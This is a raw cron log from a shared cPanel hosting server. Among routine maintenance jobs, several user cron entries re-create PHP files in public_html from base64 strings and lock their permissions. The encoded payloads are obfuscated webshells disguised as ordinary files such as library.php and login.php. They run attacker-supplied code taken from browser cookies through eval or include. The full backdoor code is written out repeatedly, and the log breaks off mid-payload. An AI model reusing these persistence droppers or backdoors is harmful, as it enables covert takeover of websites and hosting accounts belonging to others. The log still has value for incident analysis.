Mar  1 14:39:01 medusa CROND[27096]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:39:01 medusa CROND[27097]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 14:39:01 medusa CROND[27098]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 14:39:01 medusa CROND[27099]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 14:39:01 medusa CROND[27105]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 14:39:01 medusa CROND[27106]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:39:01 medusa CROND[27108]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:39:01 medusa CROND[27112]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:39:01 medusa CROND[27113]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 14:40:01 medusa CROND[18977]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 14:40:01 medusa CROND[19027]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 14:40:01 medusa CROND[19122]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 14:40:01 medusa CROND[19127]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 14:40:01 medusa CROND[19128]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 14:40:01 medusa CROND[19131]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  1 14:40:01 medusa CROND[19130]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 14:40:01 medusa CROND[19134]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:40:01 medusa CROND[19137]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 14:40:01 medusa CROND[19141]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  1 14:40:01 medusa CROND[19142]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 14:40:01 medusa CROND[19143]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 14:40:01 medusa CROND[19132]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 14:40:01 medusa CROND[19144]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 14:40:01 medusa CROND[19145]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:40:01 medusa CROND[19147]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 14:40:01 medusa CROND[19150]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:40:01 medusa CROND[19151]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 14:40:01 medusa CROND[19146]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 14:40:01 medusa CROND[19139]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  1 14:40:01 medusa CROND[19157]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  1 14:40:01 medusa CROND[19162]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:40:01 medusa CROND[19161]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 14:40:01 medusa CROND[19175]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  1 14:40:01 medusa CROND[19171]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 14:40:01 medusa CROND[19190]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 14:40:01 medusa CROND[19170]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 14:40:01 medusa CROND[19187]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 14:41:01 medusa CROND[11383]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 14:41:01 medusa CROND[11384]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 14:41:01 medusa CROND[11385]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 14:41:01 medusa CROND[11386]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULB